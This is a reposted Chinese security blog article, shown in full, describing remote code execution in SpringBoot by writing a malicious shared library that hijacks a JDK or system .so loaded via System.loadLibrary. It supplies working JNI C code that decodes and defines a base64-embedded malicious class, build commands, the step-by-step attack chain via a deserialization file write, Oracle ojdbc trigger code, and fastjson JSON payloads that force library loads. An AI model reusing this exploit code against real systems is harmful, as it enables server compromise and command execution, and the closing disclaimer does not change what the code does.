文章总结: 本文介绍SpringBoot环境下利用写文件劫持so实现RCE。核心在于利用System.loadLibrary加载未占用的JDK库,或通过JNI编写恶意so重写native方法注入恶意类,避开进程崩溃。同时探讨了第三方组件利用及未知路径下劫持系统库的技巧,提供了详细的攻击链与代码实现,具备高实战价值。 综合评分: 92 文章分类: 渗透测试,实战经验,漏洞分析,WEB安全

新建类JPEGImageDecoder.java
package sun.awt.image;
public class JPEGImageDecoder {
public JPEGImageDecoder() throws Exception { }
private static native void initIDs(Class<?> clazz);
static { System.loadLibrary("javajpeg"); initIDs(null); }}
在linux下编译并转成成.h文件
javac -h . JPEGImageDecoder.java
内容大致如下。
/* DO NOT EDIT THIS FILE - it is machine generated */#include <jni.h>/* Header for class sun_awt_image_JPEGImageDecoder */#ifndef _Included_sun_awt_image_JPEGImageDecoder#define _Included_sun_awt_image_JPEGImageDecoder#ifdef __cplusplusextern "C" {#endif/* * Class: sun_awt_image_JPEGImageDecoder * Method: initIDs * Signature: (Ljava/lang/Class;)V */JNIEXPORT void JNICALL Java_sun_awt_image_JPEGImageDecoder_initIDs (JNIEnv *, jclass, jclass);#ifdef __cplusplus}#endif#endif
写JPEGImageDecoder.c,重构initIDs,chatGPT完成。
#include "sun_awt_image_JPEGImageDecoder.h"#include <jni.h>#include <stdio.h>#include <stdlib.h>#include <string.h>
JNIEXPORT void JNICALL Java_sun_awt_image_JPEGImageDecoder_initIDs (JNIEnv *env, jclass clazz, jclass clazz2) { // Base64 解码的字节码 const char* base64Code = "yv66xxxx"; // 获取 Base64 解码器的类和 decode 方法 jclass base64Class = (*env)->FindClass(env, "java/util/Base64"); jmethodID getDecoderMethod = (*env)->GetStaticMethodID(env, base64Class, "getDecoder", "()Ljava/util/Base64$Decoder;"); jobject decoder = (*env)->CallStaticObjectMethod(env, base64Class, getDecoderMethod); jclass decoderClass = (*env)->FindClass(env, "java/util/Base64$Decoder"); jmethodID decodeMethod = (*env)->GetMethodID(env, decoderClass, "decode", "(Ljava/lang/String;)[B"); // 将 Base64 字符串转换为 Java 字符串 jstring base64String = (*env)->NewStringUTF(env, base64Code); // 调用 decode 方法进行解码 jbyteArray bytecode = (jbyteArray)(*env)->CallObjectMethod(env, decoder, decodeMethod, base64String); // 获取 ClassLoader 并找到 defineClass 方法 jclass classLoaderClass = (*env)->FindClass(env, "java/lang/ClassLoader"); jmethodID getSystemClassLoaderMethod = (*env)->GetStaticMethodID(env, classLoaderClass, "getSystemClassLoader", "()Ljava/lang/ClassLoader;"); jobject systemClassLoader = (*env)->CallStaticObjectMethod(env, classLoaderClass, getSystemClassLoaderMethod); // 获取 defineClass 方法 jmethodID defineClassMethod = (*env)->GetMethodID(env, classLoaderClass, "defineClass", "(Ljava/lang/String;[BII)Ljava/lang/Class;"); // 定义类名 jstring className = (*env)->NewStringUTF(env, "Tomcat678910cmdechoException"); // 获取字节码的长度 jint bytecodeLength = (*env)->GetArrayLength(env, bytecode); // 调用 defineClass 方法定义类 jobject definedClass = (*env)->CallObjectMethod(env, systemClassLoader, defineClassMethod, className, bytecode, 0, bytecodeLength); // 调用 newInstance 来创建类实例 jclass definedClassRef = (*env)->GetObjectClass(env, definedClass); jmethodID newInstanceMethod = (*env)->GetMethodID(env, definedClassRef, "newInstance", "()Ljava/lang/Object;"); (*env)->CallObjectMethod(env, definedClass, newInstanceMethod);}
将jni.h和jni_md.h依赖拖到一起,gcc编译。
gcc -shared -fpic -I./ -o libjavajpeg.so JPEGImageDecoder.c
实际利用效果如下。
第一步,用反序列化链写入/usr/local/openjdk-11/lib/libjavajpeg.so
第二步,Class.ForName(JPEGImageDecoder)
JPEGImageDecoder#static{}->System.loadLibrary()->JPEGImageDecoder#initIDs()->libjavajpeg.so#Java_sun_awt_image_JPEGImageDecoder_initIDs->Tomcat678910cmdechoException#static{}->触发一次命令执行->Tomcat678910cmdechoException.class.newInstance()->触发第二次命令执行
这样就能在全程不影响springboot的情况下完成恶意类加载。
更加通用的办法是用__attribute__((constructor)),这样就无所谓initIDs了。但这样没有jvm对象无法加载恶意类,su18在自己的星球中给出了一个获取jvm对象的办法。
3,第三方JNI
Oracle
第三方也有可能触发System.loadLibrary(),在ojdbc中存在oracle.jdbc.xa.client.OracleXADataSource#getXAConnection(),可以触发两种loadLibrary。
OracleXADataSource ds = new OracleXADataSource(); ds.setURL("jdbc:oracle:oci:@//127.0.0.1:1521/orcl"); ds.setNativeXA(true); ds.getXAConnection();
会触发heteroxa21,21为ojdbc的大版本号,比如我这里用的是ojdbc8-21.4.0.0.1.jar,就会loadLibrary(“heteroxa21”)
另外一种是ocijdbc21
OracleXADataSource ds = new OracleXADataSource(); ds.setURL("jdbc:oracle:oci:@//127.0.0.1:1521/orcl"); //ds.setNativeXA(true); ds.getXAConnection();
4,linux so
在fastjson写文件挑战2中,我将jdk的路径随机化了且去掉了io,本意是想增加题目难度,不让挑战者利用System.loadLibrary劫持jdk so。但jcw使用了一个非常漂亮的jdk11_read链读到了jdk路径,突破了这层防御。
如果真的未知jdk路径,还能劫持哪些so呢?
77给出了一个答案,我们最常用的fastjson dns链。
{"@type": "java.net.Inet4Address", "val": "x.com"}
会加载
/lib/x86_64-linux-gnu/libnss_dns.so.2
/lib/x86_64-linux-gnu/libresolv.so.2
当然,dns实战中很有可能已经被提前触发。
su18也给出了一个答案,fastjson内置几个awt白名单
其中java.awt.Font可以触发以下so加载。
{"@type": "java.awt.Font","name": "Serif","style": 1,"size": 24}
/usr/lib/x86_64-linux-gnu/libpng16.so.16
/usr/lib/x86_64-linux-gnu/libfreetype.so.6
/usr/local/openjdk-11/lib/libawt.so
/usr/local/openjdk-11/lib/libawt_headless.so
/usr/local/openjdk-11/lib/libfontmanager.so
{"@type":"java.awt.Rectangle"}
/usr/local/openjdk-11/lib/libawt.so
/usr/local/openjdk-11/lib/libawt_headless.so
{"@type":"java.awt.Color"}
/usr/local/openjdk-11/lib/libawt.so
/usr/local/openjdk-11/lib/libawt_headless.so
/usr/local/openjdk-11/lib/liblcms.so
发挥你的想象力,还有可能存在很多jdk/linux的so以供劫持。
对应的,还有触发加载so的方法,这些方法具体有哪些呢?请期待so加载篇。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:珂技知识分享 珂字辈 珂字辈《springboot环境下的写文件RCE——so劫持篇》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。








评论